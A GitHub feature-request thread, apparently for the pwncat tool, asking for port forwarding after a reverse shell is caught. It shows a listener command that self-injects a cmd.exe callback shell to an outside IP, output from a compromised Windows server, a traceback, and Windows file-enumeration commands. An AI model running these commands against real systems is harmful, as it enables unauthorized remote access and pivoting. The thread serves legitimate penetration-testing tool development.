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Please implement ability to port forward after catching reverse shell
ISSUE TYPE
- Feature request
SUMMARY
Currently, you cannot combine a listener (-l) with a port forward (-L or -R). I would like a way to create a port forward through this tunnel after my listener has caught a reverse shell. I recommend implementing a command in the shell similar to the upload or download commands that will allow you to specify ports to forward. reverse and local shouldn't conflict with any host shell commands, or perhaps reverse-pf and local-pf.
Goal
Often I find that after connecting to a machine that I need to add port forwarding for connecting to some service that is running on that machine. I do not currently know an easy way to upgrade a shell with port forwarding other than compiling an exploit and using meterpreter, using plink or chisel, or if I have credentials, using SSH. Most of these require running an additional binary on the host that may or may not be blocked from running.
After playing with using the --self-inject parameter, I believe this would be the easiest way to do this as-is, if the victim was a Unix machine.
pwncat -l 1234 -v --self-inject cmd.exe:10.10.14.187:1235
[PWNCAT CnC] Checking if remote sends greeting...
Spawn Shell...
Microsoft Windows [Version 10.0.17763.1817]
(c) 2018 Microsoft Corporation. All rights reserved.
c:\windows\system32\inetsrv>
[PWNCAT CnC] Checking if remote sends prefix/suffix to every request...
[PWNCAT CnC] Remote does not send prefix
[PWNCAT CnC] Remote does not send suffix
[PWNCAT CnC] Probing for: which python3
Traceback (most recent call last):
File "/usr/bin/pwncat", line 6352, in <module>
main()
File "/usr/bin/pwncat", line 6263, in main
CNCAutoDeploy(net, cnc_cmd, cnc_host, cnc_ports)
File "/usr/bin/pwncat", line 4968, in __init__
super(CNCAutoDeploy, self).__init__(network)
File "/usr/bin/pwncat", line 4351, in __init__
if not self.__set_remote_python_path():
File "/usr/bin/pwncat", line 4821, in __set_remote_python_path
response = self.remote_command("which {} 2>/dev/null".format(name), True)
File "/usr/bin/pwncat", line 4632, in remote_command
return self.send_recv(StringEncoder.encode(command), True, True)
File "/usr/bin/pwncat", line 4606, in send_recv
if data in responses[idx]:
IndexError: list index out of range
However, since I am testing with a Windows host as the remote machine, this fails since it requires both a Unix machine with
the which command, and python3 to be installed in the host's $PATH.
However, since I am testing with a Windows host
This is still something that lacks implementation. I will have to dig a bit into cmd.exe and powershell.exe capabilities for enumeration and self injection.
cmd.exe - finds files in %PATH%
where $filename 2>null
For files not in %PATH%
where /R C:\ ping.exe 2>null
Find file by name with PowerShell
Get-Childitem -Path C: -Recurse -ErrorAction SilentlyContinue | ? {$_.Name = $filename}
Enumeration shouldn't be too hard, but I don't know about the self-injection part.
I will probably first have the forwarding feature as a generated payload here: https://github.com/cytopia/kusanagi. Once this is stable I will be looking into backporting it to pwncat automation
potential solution: upload this python tcp-forward script and execute; there is also a perl version on this site https://mfnttps.github.io/mfnttps/python-portfwd/
